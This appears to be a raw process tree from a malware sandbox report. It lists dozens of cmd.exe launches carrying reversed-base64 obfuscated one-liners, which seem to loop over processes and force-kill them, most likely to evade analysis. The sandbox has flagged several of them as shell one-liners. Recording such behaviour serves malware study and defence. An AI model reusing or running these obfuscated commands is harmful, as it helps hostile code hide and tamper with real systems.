- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6112
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3380
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6012
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4888
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4180
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4560
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5856
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2944
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3532
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3640
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3720
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1516
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
